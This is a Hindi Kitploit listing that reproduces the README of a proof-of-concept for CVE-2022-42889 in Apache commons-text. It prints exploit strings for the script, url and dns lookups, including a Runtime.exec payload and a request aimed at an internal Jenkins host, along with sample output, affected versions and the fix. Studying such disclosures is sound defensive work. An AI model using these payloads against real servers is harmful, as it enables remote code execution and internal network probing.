Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-42889-PoC — Apache commons-text भेद्यता CVE-2022-42889 के लिए प्रमाण-अवधारणा | Kitploit
उपकरण/GitHubGitHub/seanwrightsec/cve-2022-42889-poc
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेपर और शोधलर्निंग और शिक्षा
GitHubseanwrightsec/cve-2022-42889-poc

CVE-2022-42889-PoC

Apache commons-text भेद्यता CVE-2022-42889 के लिए प्रमाण-अवधारणा

रिपॉजिटरी देखें
341713 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-42889 PoC

यह भेद्यता CVE-2022-42889 के लिए प्रूफ ऑफ कॉन्सेप्ट है। यह कोड जावास्क्रिप्ट कोड 195 + 324 को चलाएगा। यदि भेद्य है तो आउटपुट होना चाहिए:

root@kitploit:~
PoC Output: 519

इसे चलाने के लिए आपको आवश्यकता होगी:

  • JDK 11 या उससे ऊपर
  • Maven

जब शोषण स्ट्रिंग के लिए संकेत दिया जाए, तो आप या तो अपनी खुद की शोषण स्ट्रिंग प्रदान कर सकते हैं (और स्ट्रिंग दर्ज करने के लिए Enter दबाएं), या बस ${script:javascript:195 + 324} के डिफ़ॉल्ट शोषण स्ट्रिंग का उपयोग करने के लिए Enter दबाएं।

Docker

वैकल्पिक रूप से आप इस PoC को चलाने के लिए Docker का उपयोग कर सकते हैं:

root@kitploit:~
docker build -t poc .
docker run -it poc

समस्या क्या है?

समस्या इस तथ्य से उत्पन्न होती है कि निम्नलिखित कुंजियों को डिफ़ॉल्ट रूप से इंटरपोलेट नहीं किया जाना चाहिए (दस्तावेज़ीकरण के अनुसार https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):

  • script
  • dns
  • url

script

यह लुकअप आपूर्ति किए गए जावास्क्रिप्ट कोड को निष्पादित करने की अनुमति देता है। इसका परिणाम यह है कि हमलावर सिस्टम पर मनमाना कोड निष्पादित करने में सक्षम हो जाता है।

प्रारूप

root@kitploit:~
${script:<engine>:<code>}

उदाहरण

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}

Example in PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================

url

यह लुकअप निर्दिष्ट url को कॉल करता है। एक हमलावर आंतरिक संसाधनों पर बुनियादी GET अनुरोध करने के लिए इसका लाभ उठा सकता है।

प्रारूप

root@kitploit:~
${url:<character-encoding>:<url>}

उदाहरण

root@kitploit:~
${url:UTF-8::https://internal-jenkins.companyx.net/}

Example in PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================

dns

यह लुकअप DNS क्वेरी, या रिवर्स लुकअप करता है। यह एक हमलावर को आंतरिक संसाधनों की पहचान करने में सक्षम बना सकता है।

प्रारूप

root@kitploit:~
${dns:<address,canonical-name,name>|<host>}

उदाहरण

root@kitploit:~
${dns:address|internal-jenkins.companyx.net}

Example in PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${dns:address|www.google.com}                                                         
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================

हालांकि, तर्क में एक दोष के कारण, ये 3 कुंजियाँ डिफ़ॉल्ट रूप से इंटरपोलेट की जाती हैं, जबकि उन्हें नहीं करना चाहिए (क्योंकि वे एक सुरक्षा जोखिम का प्रतिनिधित्व कर सकते हैं)।

जोखिम क्या है?

एक हमलावर जो प्रभावित StringSubstitutor रिप्लेस में पास की गई स्ट्रिंग पर नियंत्रण रखता है, वह हमलावर को अनुमति दे सकता है:

  • StringSubstitutor कोड निष्पादित करने वाले सिस्टम (आमतौर पर एक सर्वर) पर जावास्क्रिप्ट कोड चलाना
  • प्रभावित सिस्टम से अन्य सर्वरों से कनेक्ट करना
  • संभावित रूप से प्रभावित सिस्टम से अन्य दूरस्थ संसाधनों तक पहुंच प्राप्त करना

क्या मैं भेद्य हूँ?

आपके कोड के भेद्य होने के लिए आपको आवश्यकता है:

  • Apache commons-text का संस्करण 1.5.0 से 1.10.0 तक (लेकिन 1.10.0 को शामिल नहीं) चला रहे हों

  • अपने StringSubstitution के लिए Interpolation का उपयोग कर रहे हों (देखें https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)

  • ध्यान दें कि JDK 15 और बाद में जावास्क्रिप्ट इंजन Nashorn शामिल नहीं है। हालांकि, JEXL इंजन अभी भी शामिल है और परिणामस्वरूप RCE अभी भी संभव हो सकता है।

    (rgmz को इस उजागर करने के लिए सराहना)

आधिकारिक समाधान

इसका समाधान आपके commons-text के इंस्टेंस को संस्करण 1.10.0 या बाद में अपडेट करना है।

नोट

अन्य डिफ़ॉल्ट लुकअप संभावित रूप से अभी भी एक सुरक्षा जोखिम का प्रतिनिधित्व कर सकते हैं (जैसे फ़ाइलों की सामग्री पढ़ने, सिस्टम गुण पढ़ने आदि की क्षमता)। इस सुविधा का सावधानी से उपयोग करें और सुनिश्चित करें कि सभी उपयोगकर्ता इनपुट उचित रूप से स्वच्छ किया गया है (उदाहरण के लिए अनुमति सूची से गुजरना)।

टूल डाउनलोड करें